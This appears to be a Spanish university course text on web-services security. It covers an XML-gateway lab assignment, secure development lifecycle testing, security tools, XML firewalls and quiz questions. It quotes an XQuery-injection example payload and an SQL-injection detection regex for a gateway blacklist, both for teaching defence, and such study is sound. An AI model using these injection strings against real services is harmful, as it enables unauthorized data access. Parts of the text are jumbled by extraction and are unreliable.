(ORDER de petición por ejemplo) se usa la clave pública del destinatario. Tener esto
en cuenta a la hora de configurar las funciones de cifrado.
» Mediante TCPMONITOR se puede ver en cada paso el tráfico XML de las peticiones
y respuestas entre las entidades.
Documentación
Descargar desde la siguiente dirección:

https://www.dropbox.com/sh/cgkzwq2z6qyy1kd/viPuZUC2ln
Entrega
El alumno deberá entregar una memoria (máx 15 pag.) explicando la configuración de

las funciones, expresiones regulares utilizadas en la prevención de ataques SQLI,
certificados digitales y claves necesarios para su correcto funcionamiento y deberá
demostrarlo con los LOG descargables (opción salvar) desde cada puerto de la
aplicación TCPMONITOR (2100, 2300, 2400, 2600), copias de pantallas de la
aplicación TCPMonitor (con la fecha-hora visibles de las peticiones) y de los conectores
de seguridad y proporcionando el último archivo de log cada uno de los conectores de
seguridad: (ej. C:\..\.. \Tomcat\webapps\consumer\log\conector.2013-04-17.log) y del
XmlGateway.

Referencias
[1] SANS. Detecting Attacks on Web Applications from Log Files.

https://www.sans.org/reading-room/whitepapers/logging/detecting-attacks-web-
applications-log-files-2074
[2] http://regexlib.com
[3] http://www.symantec.com/connect/articles/detection-sql-injection-and-cross-site-
scripting-attacks
[4] SOAP Messages. Soapuser.com. http://soapuser.com/basics3.html
Apéndice
Validación de esquema
Añadiendo la función de validación de esquema, sin configurar ningún parámetro, se

valida por defecto contra el standard schema forSOAP 1.1 messages (Modeling
reference_SOASecurity.pdf). No obstante la validación veréis que da un warning En
cuanto al log de salida, dado que no se ha configurado con ninguna función, considera
exitosa la respuesta al no encuentran ningún problema de seguridad (ver pantallas
subsiguientes).
Se debe investigar contra qué esquema validar. Si en el fichero del esquema añadimos la
dirección del esquema XML que se va a validar, en este caso la correspondiente al
envoltorio SOAP (http://soapuser.com/basics3.html) la validación la realiza
correctamente al identificar un esquema correcto en el mensaje enviado. En este caso la
envoltura, etiqueta Envelope del mensaje de un mensaje SOAP, se valida y se
comprueba que está codificada según el esquema (http://soapuser.com/basics3.html)
por lo que al añadirlo en la configuración de la validación va a ser identificado como un
mensaje correctamente codificado.

En la práctica, aparecen 2 entradas en log (mismo timestamp) por cada petición de

acceso: un warning y un Acceso con éxito:

X-Query Injection
Accede a más información en la siguiente dirección web:

http://projects.webappsec.org/w/page/13247006/XQuery%20Injection
En esta página se describe muy bien este tipo vulnerabilidad  ataque:
XQuery Injection is a variant of the classic SQL injection attack against the XML
XQuery Language. XQuery Injection uses improperly validated data that is passed
to XQuery commands. This inturn will execute commands on behalf of the attacker
that the XQuery routines have access to. XQuery injection can be used to enumerate
elements on the victim's environment, inject commands to the local host, or execute
queries to remote files and data sources. Like SQL injection attacks, the attacker
tunnels through the application entry point to target the resource access layer.
Using the example XML document below, users.xml.
<?xml version="1.0" encoding="ISO-8859-1"?>
<userlist>
<user category="group1">
<uname>jpublic</uname>
<fname>john</fname>
<lname>public</lname>
<status>good</status>
</user>
<user category="admin">
<uname>jdoe</uname>
<fname>john</fname>
<lname>doe</lname>
</user>
<uname>mjane</uname>
<fname>mary</fname>
<lname>jane</lname>
</user>
<uname>anormal</uname>

<fname>abby</fname>
<lname>normal</lname>
<status>revoked</status>
</user>
</userlist>
An typical XQuery of this document for the user mjane:

doc("users.xml")/userlist/user[uname="mjane"]
Would return:
<uname>mjane</uname>
<fname>mary</fname>
<lname>jane</lname>
</user>
Assuming that the XQuery gets its user name string from the input, an
attacker can manipulate this query into returning the set of all users. By
providing the input string:
something" or ""="
the XQuery becomes:
doc("users.xml")/userlist/user[uname="something" or ""=""]
» En XML Gateway podemos especificar una regla para impedir el string or.
» XMLGateway en su documentación (Modeling reference_SOA Security), con respecto
a la función CheckForSQLInjection (En realidad es la función Prevent SQL-
XQuery Injection en XMLGateway), nos dice como añadir una regla (todas las
que queramos), es una validación tipo blacklist. Cada regla consta de una pareja
nombre-valor (expresión regular). Este valor lo buscará XMLGateway en el body de
las peticiones y si lo encuentra bloqueará.
» A continuación, para comprobar un ataque, ponemos el string or en cualquier campo
de una petición de libros y veremos que el Gateway bloquea.

» ¡OJO! En las referencias de expresiones regulares aportadas veréis que las

expresiones vienen con una / al principio y final. En esta herramienta no hay que
ponerlas, ejemplo:
/((\%27)|(\'))(select|union|insert|update|delete|replace| truncate)/ix
sería
((\%27)|(\'))(select|union|insert|update|delete|replace| truncate)

Test
1. Los servicios web son un ejemplo de la arquitectura orientada a servicios SOA. ¿Cuáles
son las entidades que intervienen en una arquitectura más básica?
A. Consumer-provider.
B. Provider-consumer-uddi.
C. Consumer-broker-provider.
2. ¿En qué se basa la comunicación consumer-provider?

A. SOAP
B. HTTP.
C. XML.
D. Todas las anteriores.
3. Señala elementos de seguridad de los servicios web?

A. Autorización, no repudio, propiedades de seguridad, integridad.
B. Autorización, no repudio, confidencialidad, autenticación, integridad.
C. Autorización, no repudio, propiedades de seguridad, autenticación.
4. Señala la afirmación correcta en cuanto a protocolos relacionados con SW.

A. IPSEC es un protocolo de seguridad de la capa de red.
B. SSL es un protocolo de seguridad de la capa de red.
C. SOAP es un protocolo de seguridad.
5. Señala la afirmación correcta.

A. XACML es un mecanismo de seguridad para control de acceso.
B. SAML es un mecanismo de seguridad para control de acceso.
C. IPSEC es un protocolo de seguridad de la capa de transporte.
D. La A y la B son correctas.


A. Los servicios web pueden tener los mismos tipos de vulnerabilidades que tienen
las aplicaciones web.
B. Los servicios web pueden sufrir ataques XSS, SQLI, XMLM Injection entre
otros.
C. XACML es una especificación para implementar el control de acceso.
D. Los servicios web no pueden tener ataques de escalada de privilegios.

A. WS security message es un mecanismo de seguridad usado para proporcionar
un mecanismo seguro de autenticación en los servicios web.
B. Los métodos de autenticación que se utilizan en los servicios web se basan en
HTTP-based token authentication, SSL/TLS-certificate based authentication y
mediante tokens en la petición SOAP.
C. SAML es una especificación para implementar el control de acceso.
D. Un sistema de gestión de identidad (IDMS) es responsable de verificar la
identidad de las entidades, registrarlas y asignar identificadores digitales.
8. Autorización en los SW señala la afirmación falsa:

A. SAML y XACML son dos de las especificaciones que se pueden utilizar para
implementación de los modelos de gestión de la autorización.
B. XACML es una especificación de seguridad para cifrado de mensajes en SW.
C. El principio de mínimos privilegios debe aplicarse siempre independientemente
de la metodología de control de acceso en uso.
D. Role based Access control es uno de los modelos de gestión de la autorización.
9. Para tener confidencialidad e integridad en servicios web señala la afirmación falsa:

A. Los protocolos de transporte seguros pueden asegurar la seguridad de los
mensajes solo durante la transmisión.
B. Es importante hacer frente a los problemas de seguridad en la capa de aplicación
de forma independiente de las capas de transporte.
C. En situaciones en las que se almacenan los mensajes y luego son remitidos es
necesaria seguridad de la capa de aplicación.
D. Es suficiente con la seguridad a nivel de transporte que suministra SSL-TLS.

10. ¿Cuáles de los siguientes son modelos de autorización en SW?

A. Modelo basado en roles.
B. Modelo basado en el riesgo adaptativo.
C. Modelo basado en atributos.

Test de la seguridad y protección online
de los servicios web
[6.2] Evaluación de la seguridad de los servicios web
[6.3] Protección online. Firewalls y gateways XML
[6.4] Referencias
TEMA
Test de la seguridad y protección online de los servicios web
Esquema
TEMA 6 – Esquema
TEST DE LA SEGURIDAD Y
PROTECCIÓN ONLINE DE LOS
SERVICIOS WEB
Evaluación de la seguridad de los

servicios web Protección online de los
SSDLC: servicios web
Requisitos de seguridad Operaciones de seguridad online
Análisis de riesgos Gateways XML
Evaluación funcional de seguridad SW Firewalls XML
Análisis de seguridad del código
Test de penetración
Herramientas

Ideas clave
En este tema se repasan las metodologías, técnicas y herramientas para analizar la

seguridad de los servicios web dentro de un esquema ciclo de vida de desarrollo seguro
(SSDL) de servicios web donde se deben realizar una serie de actividades de seguridad
en cada una de las fases del ciclo de vida.
Se introducen mecanismos de defensa online como son operaciones de configuración

segura y de monitorización, así como los gateways y firewalls XML. Es necesario previo
al despliegue y en todo momento conocer el estado real de la seguridad de los servicios
web desplegados en una organización, para lo cual hay que conocer los métodos y
herramientas disponibles para evaluar su seguridad.
6.2. Evaluación de la seguridad de los servicios web
Las características de los servicios web hacen las pruebas de seguridad más difíciles
que para las aplicaciones más tradicionales. El modelo de servicios web proporciona un
mecanismo totalmente independiente de la implementación a través del cual las
aplicaciones pueden interactuar. El probador puede hacer suposiciones precisas acerca
de cómo se construye ese software de aplicación. Los evaluadores dependen en gran
medida de su comprensión del software en su interfaz y de las especificaciones del
sistema.
La naturaleza altamente distribuida de la tecnología de servicios web crea una

dependencia entre interacciones complejas que deben ser comprobables. El
probador tendrá que adoptar nuevas técnicas y procesos para muchos de los aspectos de
las pruebas de seguridad de servicios web. La prueba de la funcionalidad de seguridad,
en particular, requerirá un mayor uso de los agentes de test distribuidos y
tecnologías relacionadas.

Idealmente, el probador trazaría todos los caminos a través del código y todas las
interfaces internas entre los componentes dentro del servicio y todas las interfaces
externas entre el servicio y otros servicios y probar cada posible entrada para
asegurarse de que no causó una violación de seguridad inesperada.
Dependiendo de la complejidad del servicio la prueba de cada ruta posible, interfaz, y de

entrada puede no ser factible. Un objetivo más práctico es cubrir todos los caminos a
través de cada unidad y entre unidades y la interfaz externa al menos una vez.
El análisis de la seguridad de servicios web en la práctica tendrá dos vertientes:
» Una la más deseable sería analizar la seguridad durante el ciclo de vida de desarrollo
de software, que sería la más deseable.
» La otra analizar la seguridad de los servicios web ya en una instalación en producción
a modo de auditoría.
Para llevar a cabo la evaluación de la seguridad en el ámbito de servicios web se debe

incluir en el ciclo de vida de desarrollo Seguro la planificación de todas las actividades y
pruebas o test de seguridad de la misma forma que se hace para todos los tipos de
aplicaciones y se debe realizar iterativamente, según se puede consultar en Building
security In (McGraw, 2006) (ver figura siguiente). El grado de importancia de cada
actividad se muestra en los círculos negros.
Modelo de SSDL de MacGraw

» 1: Modelado de amenazas y casos de abuso.

» 2: Análisis de los requisitos de seguridad.
» 3: Análisis de riesgos de la arquitectura.
» 4: Pruebas funcionales de seguridad basadas en el riesgo.
» 5: Revisión del código.
» 6: Pruebas de penetración.
» 7: Operaciones de seguridad online.
» 8: Evaluación externa independiente.
Actividades de análisis de la seguridad en SW
A continuación se describen cada una de las actividades de análisis de seguridad desde

el punto de vista de los servicios web, contestando varias preguntas:
» Modelado de amenazas y casos de abuso.
o ¿En qué consisten? El resultado de estas actividades junto con el análisis de

riesgos de la arquitectura es un listado de amenazas y de casos de abuso que los
SW pueden tener que pueden dar lugar a que se materialicen ataques concretos.
Los casos de abuso son lo contrario de los casos de uso dentro del modelado
unificado de datos UML, como su propio nombre indica. Los casos de abuso son
casos en los que se puede comprometer alguna funcionalidad de los SW.
o ¿Cuándo se deben llevar a cabo? En la fase de análisis de requisitos y de diseño

de la arquitectura en el marco del SSDLC o en el instante que se solicite si es una
auditoría. En ambos casos es la primera actividad de análisis a realizar en conjunto
con las siguientes fases de modelados de amenazas y análisis de riesgos de la
arquitectura que determinarán las necesidades de requisitos y mecanismos de
defensas.
Si estamos en el caso de una auditoría todas estas actividades se realizan en una

primera fase de análisis, antes de las pruebas funcionales de seguridad.

o ¿Quién las debe llevar a cabo? En el caso de estar en SSDLC, el personal

desarrollador sí tiene experiencia en seguridad únicamente, el personal del
departamento de seguridad o de forma mixta. En el caso de ser una auditoria puede
ser el departamento de seguridad de la organización o personal externo contratado.
o ¿Cómo se debe realizar? Para la actividad de modelado de amenazas se puede

seguir la metodología Stride de Microsoft https://www.microsoft.com/en-
us/sdl/adopt/threatmodeling.aspx que proporciona una herramienta que permite
derivar las amenazas de una aplicación utilizada por servicios web. Una
metodología para derivar casos de abuso. Se puede consultar Building Security In
(McGraw, 2006), resumida en el siguiente esquema de la figura 2:
Metodología de derivación de casos de abuso

En la siguiente tabla se muestra un ejemplo de caso de abuso en comparación a un caso

de uso:
Caso de uso Caso de abuso

» Una interacción completa entre » Una familia de interacciones
uno o varios actores y un completas entre uno o varios
sistema. actores y un sistema que
» Basado en diagramas UML. resulta dañado.
» Típicamente descrito usando » Basado en diagramas UML.
lenguaje natural. » Típicamente descrito
usando lenguaje natural.
» Conjunto de clases de abuso
de privilegios y de
componentes que podrían
ser explotados.
» Incluye una descripción de
la gama de los privilegios y
de componentes que
podrían ser explotados.
» Incluye una descripción de
la gama de los privilegios de
seguridad que pueden ser
abusados.
» Incluye una descripción del
daño que resulta de un caso
de abuso.
» Análisis de los requisitos de seguridad.
o ¿En qué consiste? Esta actividad consiste en realizar un estudio de los requisitos
de seguridad que son necesarios para implementar la seguridad de la
comunicación y del almacenamiento de información entre los servicios web que
intervienen ya sean consumidores o proveedores del servicio. Como resultado se
obtiene una lista de funciones y mecanismos de seguridad necesarios para
conseguir los elementos de seguridad: Confidencialidad, autenticación,
autorización, integridad, no repudio, trazabilidad, rendimiento y disponibilidad.

o ¿Cuándo se deben llevar a cabo? En la fase de análisis de requisitos y de diseño

de la arquitectura en el marco del SSDLC o en el instante que se solicite si es una
auditoría. En ambos casos se realiza en conjunto con las actividades de modelados
de amenazas y análisis de riesgos de la arquitectura que determinarán las
necesidades de requisitos y mecanismos de defensas.
Si estamos en el caso de una auditoría, todas estas actividades se realizan en una

primera fase de análisis antes de las pruebas funcionales de seguridad, revisión de
código, etc.
o ¿Quién las debe llevar a cabo? En el caso de estar en SSDLC, el personal

desarrollador sí tiene experiencia en seguridad únicamente, el personal del
departamento de seguridad o de forma mixta. En el caso de ser una auditoria puede
ser el departamento de seguridad de la organización o personal externo contratado.
o ¿Cómo se debe realizar? Para derivar los requisitos de seguridad se pueden

emplear metodologías de ingenierías de requisitos como Square
http://resources.sei.cmu.edu/asset_files/TechnicalReport/2005_005_001_1459
4.pdf del CERT de la Universidad Carnige Mellon de EE. UU.
En esta metodología se utilizan árboles de ataque, modelado de casos de abuso y

análisis de riesgo conjuntamente para derivar los requisitos de seguridad, es decir,
el modelado de amenazas, derivación de casos de abuso, análisis de riesgos y
derivación de requisitos final se realizan como se muestra en la siguiente figura, en
las fases de análisis y diseño del SSDLC

Metodología de ingeniería de requisitos SQUARE

Resumiendo el proceso de derivación de requisitos de seguridad:
o Partiendo de los objetivos de negocio y de calidad se obtienen y revisan los

requisitos funcionales a la vez que se identifican y revisan los objetivos de
seguridad que se verifican y validan contra los activos, amenazas y objetivos de
negocio.
o En una segunda fase se identifican los requisitos de seguridad, se revisan y se
verifican.
o Si son factibles los requisitos de seguridad se validan frente a los objetivos de
seguridad.
o Se construye, revisa y se verifica la arquitectura del sistema.
o Si es factible la arquitectura del sistema se valida su seguridad frente a los
requisitos de seguridad.
» Análisis de riesgos de la arquitectura.
o ¿En qué consiste? En un análisis de riesgos se modelan todos activos del sistema
en su ubicación real teniendo en cuenta el modelo de amenazas y casos de abuso
(nivel de riesgo) para obtener el impacto que la materialización de las amenazas
aprovechando las vulnerabilidades de seguridad puede tener en los activos.
Elementos que intervienen en el análisis de riesgos:
Activo. Los objetos de los esfuerzos de protección. Pueden ser componentes del
sistema, datos o el sistema en su totalidad.
Impacto. Degradación causada por una amenaza concreta en un activo.
Riesgo. Cuando las amenazas pueden ocurrir con una cierta probabilidad sobre
un activo ocasionan un riesgo en el funcionamiento del activo y por tanto en el
sistema.
Amenaza. Es el actor o el agente que es la fuente de peligro por diferentes
motivaciones como factores económicos, de prestigio u otros. Estas amenazas
pueden ser ataques como por ejemplo: inyección de SQL, ataques TCP/IP SYN,
desbordamientos de buffer, denegación de servicio, etc.
Salvaguarda. Controles técnicos, operacionales y de gestión que se aplican a
un sistema y que conjuntamente lo protegen de la acción de las amenazas.

Elementos de un análisis de riesgos
o ¿Cuándo se debe llevar a cabo? Como se puede observar en la figura de abajo,

esta actividad está a caballo entre la fase de análisis y diseño, donde se obtienen los
requisitos de seguridad y casos de abuso de forma conjunta. Después de las pruebas
de penetración es necesario volver a actualizar el análisis de riesgos porque se han
encontrado nuevas vulnerabilidades que hay que solucionar.
Fases del análisis de riesgo

o ¿Quién las debe llevar a cabo? Personal del departamento de seguridad o

externo en el caso de una auditoría externa.
o ¿Cómo se debe realizar? En la fase de análisis al obtener los casos de abusos y

modelado de amenazas se han obtenido bastantes conclusiones acerca de los
activos del sistema y del impacto que los posibles ataques pueden causar.
Sin embargo, es en la actividad de análisis de riesgos de la arquitectura del sistema

y de su ubicación física real donde se especifican todos los activos porque se
obtienen todos los componentes hardware y software del sistema y se derivan los
requisitos de seguridad. También se deciden las salvaguardas concretas que van a
protegerlo en función del nivel de riesgo obtenido y del impacto que la
materialización de las amenazas tiene sobre los activos. Para cada riesgo los
controles pueden ser puestos en el lugar adecuado para prevenirlo o detectarlo
cuando se produce un ataque.
Metodologías estándar de riesgo que se pueden utilizar:
Magerit.
ASSET (Automated security self-evaluation tool). National institute on
standards and technology (NIST).
Octave (Operationally critical threat, asset, and vulnerability evaluation). SEI
de la Universidad Carnegie Mellon.
Cobit (Control Objectives for Information and Related Technology) from
information systems audit and control association (ISACA).

» Pruebas funcionales de seguridad:
o ¿En qué consisten? Prueban la eficacia de los mecanismos y funciones de

seguridad implementadas en los servicios web, en base al análisis del riesgo
obtenido previamente.
o ¿Cuándo se deben llevar a cabo? En la fase de pruebas del SSDLC o en fase de

producción si es una auditoría.
o ¿Quién las debe llevar a cabo? Personal del departamento de seguridad o

externo en el caso de una auditoría externa.
o ¿Cómo se debe realizar? Se deben de generar los casos de prueba necesarios

que permitan probar que las funciones y mecanismos de seguridad son los
adecuados. Es necesario también realizar un análisis de trazabilidad entre las
amenazas de seguridad y las funciones que contrarrestan cada una de ellas. Tres
capacidades son importantes en las herramientas utilizadas para probar la
seguridad de los servicios web:
Generación y comprobación de mensajes de SOAP y XML: con el

examen de las dos interfaces de mensajería y el formato de mensajes
individuales.
Generación automática de planes de pruebas a partir de archivos
WSDL que contienen metadatos sobre las interfaces de los servicios web a
testear.
Simulación de las acciones de los proveedores y clientes.

» Revisión del código (ver tema 4).
o ¿En qué consiste? Esta actividad se trata en el tema 4. Como se comentó en

dicho tema consiste en revisar el código fuente con ayuda de herramientas de
análisis estático de código fuente Static analysis secutity tools (SAST) que lo
examinan en busca de vulnerabilidades como buffer overflow, sql injection, etc.
Revisar el tema 4 donde se explica la arquitectura y funcionamiento. Es una

actividad fundamental que cubre toda la superficie de ataque de una aplicación y
las herramientas SAST son capaces de encontrar un alto porcentaje de
vulnerabilidades. En la figura siguiente se puede ver un esquema de la arquitectura
de las herramientas SAST.
o ¿Cuándo se debe llevar a cabo? En la fase de desarrollo o en fase de producción

si es una auditoría.
o ¿Quién las debe llevar a cabo? El personal de desarrollo sí está formado en la

actividad, el departamento de seguridad o de forma mixta.
o ¿Cómo se debe realizar? Como se comentó en el tema 3, la posibilidad de tener

falsos positivos (alertas falsas de vulnerabilidades) implica que hay que realizar
una auditoría del informe de salida de la herramienta para descartarlos.

» Pruebas de penetración (ver tema 4).
o ¿En qué consisten? Hay varias formas de llevarlas a cabo: con herramientas de
caja negra o con herramientas de caja blanca. Los scanners de vulnerabilidades de
aplicaciones web son herramientas de análisis dinámico de caja negra (DAST) que
intentan inyectar cadenas de datos malignas en los campos de entrada (interfaces)
de la aplicación que son accesibles externamente para tratar de descubrir
vulnerabilidades.
En base a las respuestas recibidas el scanner realiza un análisis sintáctico para

decidir si existe una vulnerabilidad. Esta decisión puede ser un falso positivo en
algunos casos por lo que es necesario hacer comprobaciones manuales de las
alertas de vulnerabilidad.
Las herramientas de análisis dinámico de caja blanca (IAST/RAST) se instalan de

forma que pueden observar el entorno de ejecución del proceso del servidor de
aplicaciones e incluso el código. Tienen información precisa de los valores de las
variables en tiempo de ejecución y no suelen tener falsos positivos. Normalmente
actúan en combinación con una herramienta DAST para confirmar las
vulnerabilidades que encuentran y entonces estamos en caso de herramientas
Híbridas.
Pueden actuar de tres formas:
Informando de la existencia de vulnerabilidades.

Bloqueando el ataque.
Saneando la petición, eliminando la posibilidad de ataque.
o ¿Cuándo se deben llevar a cabo? En la fase de pruebas del SSDLC o en fase

de producción si es una auditoría. En el caso de las herramientas IAST se pueden
utilizar también en fase de producción bloqueando o saneando ataques.
o ¿Quién las debe llevar a cabo? Personal de seguridad especializado interno

o externo si es el caso de una auditoría externa.

o ¿Cómo se debe realizar? Lo mejor es utilizar herramientas híbridas

DAST+IAST que permiten confirmar la mayoría de las vulnerabilidades
obteniendo un resultado mucho más preciso. No obstante es necesario realizar
auditoría posterior para aquellas vulnerabilidades no confirmadas por la
herramienta IAST.
» Operaciones de seguridad online.
o ¿En qué consisten? Son todas aquellas actividades que tienen que ver con:
o Ejecutar los procedimientos de administración de control de acceso de forma

precisa.
o Actividades de monitorización de forma continua utilizando herramientas de
gestión de logs y de gestión de eventos de seguridad (SIEM) que incluyen
detectores de intrusión (IDS).
o Instalación de firewalls de nivel de aplicación, firewalls XML (ver apartado
siguiente) que permiten detener ataques que pueden sufrir los servicios web.
o Actividades de prueba de los procedimientos de backup y configuración.
o Gestión de incidentes de seguridad informática.
o ¿Cuándo se deben llevar a cabo? En fase de producción.

o ¿Quién las debe llevar a cabo? Tanto personal de administración de los
sistemas como los del departamento de seguridad en los casos de la gestión de
incidentes de seguridad que puedan detectarse.
Herramientas de análisis de la seguridad de SW
Los tipos de herramientas mencionados en el tema 4 para evaluar la seguridad de las

aplicaciones como: SAST de análisis estático white box, DAST de análisis dinámico, black
box de análisis dinámico, white box IAST e híbridas tienen capacidad para analizar la
existencia de vulnerabilidades en servicios web.
» Herramientas IAST:
o Seeker (quotium technologies).

o HP Fortyfy securityScope / RTA
o IBM APPSCAN glassbox.

» Herramientas DAST:
o Codenomicon.
o IBM.
o HP.
o Parasoft.
o Cenciz.
o Qualys.
o Netsparker.
» Herramientas SAST:
o Herramientas comerciales:
Checkmarx.
CodeSecure Armorize.
CodeSonar gammatech.
CoveritySave coverity.
HP fortify source code analyzer.
IBM rational appscan source edition.
Klocwork insight.
Development testing platform parasoft.
bugScout buguroo.
Eclair bugseng.
o Software-as-a-service:
Fortify on demand fortify HP.

Sentinel source whitehat.
Veracode.
CXCloud checkmarx.

o Free / open source tolos:
- FindBugs.
- FxCop.
- Lint.
- OWASP O2 Platform.
- PMD.
- PreFast.
- RATS – Rough auditing tool for security.
- Yasca.
- VisualCoeGrepper.
» Herramientas híbridas:
o HP Fortyfy hybrid analysis.

o IBM APPSCAN Enterprise.
o Acunetix + Acusensor.
o PHP Vulnerabillity hunter (open source).
o Whitehat sentinel.
o Acunetix+Acusensor.
» Herramientas específicas de análisis de seguridad de los servicios web:
o Soapsonar.
o SoapUI.
o wsScanner: herramientas para explorar y detectar vulnerabilidades WS en .NET.
o Wsfuzzer.
o WsBang.
o Wsdigger.
o Soapbox.
En las dos figuras siguientes se muestran varias pantallas de las herramientas

SOAPUI donde se aprecian los tipos de pruebas que se pueden llevar a cabo.

Soap UI
Fuente: http://resources.infosecinstitute.com/web-services-penetration-testing-part-2-automated-
approach-soapui-pro/
Soap UI
Fuente: http://resources.infosecinstitute.com/web-services-penetration-testing-part-2-automated-
approach-soapui-pro/

6.3. Protección online. Firewalls y gateways XML
El protocolo SOAP se soporta a través de http que se deja tradicionalmente abierto para
el tráfico web en los servidores de seguridad perimetrales. Además, con la llegada
de Liberty y SAML v2.0, los mensajes SOAP pueden pasar a través de gateways que
limitan el tráfico http entrante pero permiten el tráfico http saliente.
Algunos gateways han comenzado a bloquear o permitir peticiones SOAP basándose en

el origen o el destino de la solicitud pero se necesitan gateways más robustos e
inteligentes para defender las redes contra ataques maliciosos a SOAP (ver figura
sigueinte).
Una pasarela XML puede implementar servicios de autenticación, autorización,

confidencialidad, etc. y además implementar la funcionalidad de firewall XML para
protección ante ataques de inyección, denegación de servicio, validación de esquema o
XSS por poner algunos ejemplos.
Gateways XML

Para este fin se han desarrollado gateways XML para ofrecer la funcionalidad de
cortafuegos a nivel de aplicación específicamente para los servicios web. Los firewalls
de aplicaciones con conciencia no son nada nuevo sino que han existido en la forma de
proxies http para el tráfico basado en http y permitir a las organizaciones limitar lo que
un protocolo de capa de aplicación puede y no puede hacer.
Básicamente una pasarela XML actúa como el servicio web y transmite toda la
comunicación con el servicio web interno que actúa como intermediario entre los
servicios que no son de confianza y el servicio web interno. Los gateways XML
pueden proporcionar servicios como:
» Autenticación.
» Autorización.
» Confidencialidad de todo o de partes del mensaje XML.
» Integridad y no repudio mediante implementación de firma digital.
» Monitorización.
» Firewall de protección ante ataques, SQLi, XMLi, XSS, etc.
Varias pasarelas XML pueden utilizarse de forma conjunta para implementar un sistema
de gestión de identidades distribuido. En la actividad correspondiente al tema se
establece una comunicación entre servicios web implementando la seguridad mediante
pasarelas XML, conformado un sistema de gestión de identidades distribuido a la vez
que implementa la función de firewall XML (ver figura anterior).

En la actividad se implementan los servicios de autenticación, integridad, no repudio,

confidencialidad y capacidad de firewall XML en tres servicios web, consumidor, de
compra de libros y de pago de las compras efectuadas. La solución que se utiliza es una
implementación de gateway+firewall XML, de software libre de Corisecio y Eperi.
Gateways Xml +firewall XML
En la figura de abajo se muestra un ejemplo de un mensaje XML de comunicación que

muestra cifrados los datos de una orden de compra de libros. Para el cifrado de los datos
de la orden se utilizan tanto algoritmos de clave simétrica como de clave pública.
Este es un ejemplo de cifrado de una parte del mensaje para proporcionar seguridad de
extremo a extremo que no puede proporcionar la seguridad a nivel de transporte
mediante protocolos como SSL o TLS.

Son necesarios para proporcionar seguridad de extremo a extremo, tanto el cifrado a

nivel de capa de transporte como el cifrado XML que pueden proporcionar servicios
como XML encryption de W3C implementados en pasarelas XML.
Orden de compra cifrada de la actividad de seguridad de SW
Los firewalls XML: pueden restringir el acceso en función del origen, destino o de
tokens de autenticación WS-Security. También admiten la validación del esquema y
algunas ofrecen apoyo para la prevención de intrusiones de SOAP contra los siguientes
ataques y otros que aprovechan las vulnerabilidades nativas de XML y servicios basados
en XML:
» Escaneo WSDL. Intenta recuperar el WSDL de los servicios web para obtener
información que puede ser útil para un ataque.
» Manipulación de parámetros. Modificación de los parámetros de un servicio web
espera recibir en un intento de eludir la validación de entrada y obtener acceso no
autorizado a algunas funciones.
» Ataques de repetición. Los intentos para reenviar solicitudes SOAP a repetir las
transacciones sensibles.
» Ataques recursivos con payloads. Los intentos de realizar una denegación de
servicio contra el servicio web mediante el envío de mensajes diseñados para
sobrecargar el analizador XML.
» Ataques de referencia externa. Los intentos de eludir la protección mediante la
inclusión de referencias externas que se descargarán después del XML ha sido
validado pero antes de su procesado por la aplicación.
» Envenenamiento de esquema. El suministro de un esquema con el documento
XML de tal manera que el validador XML utilizará el esquema que se suministra, lo
que permite un documento XML malicioso para ser validado sin errores.
» SQL inyección. Proporcionar parámetros especialmente diseñados que se
combinarán en el servicio web para generar una consulta SQL definida por el
atacante.

» Desbordamiento de búfer. Proporcionar parámetros especialmente diseñados

que sobrecargará los buffers de entrada de la solicitud y se bloqueará el servicio de
web o potencialmente permite código arbitrario ejecutado.
» Cross site scripting. Redirección indebida a sitios web malignos desde los que se
inyecta código en el navegador de la víctima comprometiendo información del usuario
a disposición del atacante.
6.3. Raferencias
McGraw, G. (2006). Software security: building security in. San Francisco: Addison
Wesley.
Metodología square de ingeniería de requisitos. Recuperado (20 de junio de 2015) en,

http://resources.sei.cmu.edu/asset_files/TechnicalReport/2005_005_001_14594.pdf
Metodología de análisis de riesgos Magerit. Recuperado (20 de junio de 2015) en,

http://administracionelectronica.gob.es/pae_Home/pae_Documentacion/pae_Metod
olog/pae_Magerit.html#.VZFrGk3z74g
Metodología de análisis de riesgos ASSET (automated security self evaluation tool).

Recuperado (20 de junio de 2015) en, http://csrc.nist.gov/archive/asset/
Metodología de análisis de riesgos Octave (operationally critical threat, Asset and

vulnerability evaluation). Recuperado (20 de junio de 2015) en,
http://www.cert.org/resilience/products-services/octave/
Metodología de análisis de riesgos Cobit 5 (control objectives for information and

related technology). Recuperado (20 de junio de2015) en,
http://administracionelectronica.gob.es/pae_Home/pae_Documentacion/pae_Metod
olog/pae_Magerit.html#.VZFplk3z74g

Lo + recomendado
Gateways XML
Los Gateways XML constituyen un medio online de protección del tráfico XML que los
servicios web emplean y de protección ante las amenazas más comunes que pueden sufrir
como SQLI, XSS y otras.

No dejes de leer…
Magic quadrant for SOA governance technologies
Este artículo es una comparativa sobre las prestaciones en cuanto a Servicios Web y
arquitecturas SOA ofrecidas por las compañías más importantes, estableciendo un
ranking entre ellas en base a varios criterios incluida la seguridad de los mismos.

http://www.exclusive-networks.fr/wp-content/uploads/2014/07/Magic-Quadrant-for-
Secure-Web-Gateways-Juin-2014.pdf
Amenazas y ataques a servicios web
El consorcio de aplicaciones web WASC proporciona una clasificación detallada de las

amenazas que pueden sufrir las aplicaciones web, las cuales algunas de ellas pueden
materializarse en servicios web.


+ Información
A fondo
XML technology
Aplicación de la tecnología XML que incluye: XML namespace, XML schema, XSLT,
efficient XML interchange (EXI).

https://www.w3.org/standards/xml/
Security design guidelines for web services
En esta página web se puede consultar una guía que puede servir de checklist para cubrir
todos los aspectos y funciones de seguridad de los servicios web para su protección.

http://msdn.microsoft.com/en-us/library/ff649737.aspx

WASC: web application firewall evaluation criteria
Criterios para la evaluación de cortafuegos de las aplicaciones web del consorcio para la
seguridad de las aplicaciones web WASC.

http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%2
0Evaluation%20Criteria
OWASP
Página web del proyecto abierto para seguridad de las aplicaciones web.

https://www.owasp.org/index.php/Web_Services
OASIS web services security (WSS) TC
Página del estándar abierto de seguridad de los servicios web.


National institute of standars and technology: information technology

laboratory
Página del Instituto de estándares y tecnología americano.

https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss+
W3C
The world wide web consortium (W3C) es una comunidad internacional que desarrolla
open standards para asegurar el crecimiento de la web.

http://www.w3.org/

Cgisecurity
Cgisecurity proporciona información sobre seguridad web. Este sitio cubre aspectos de
seguridad de bases de datos, servidores web, web application security, http, web
services security y más.

http://www.cgisecurity.com/ws.html

Test
1. La metodología square es una metodología de:

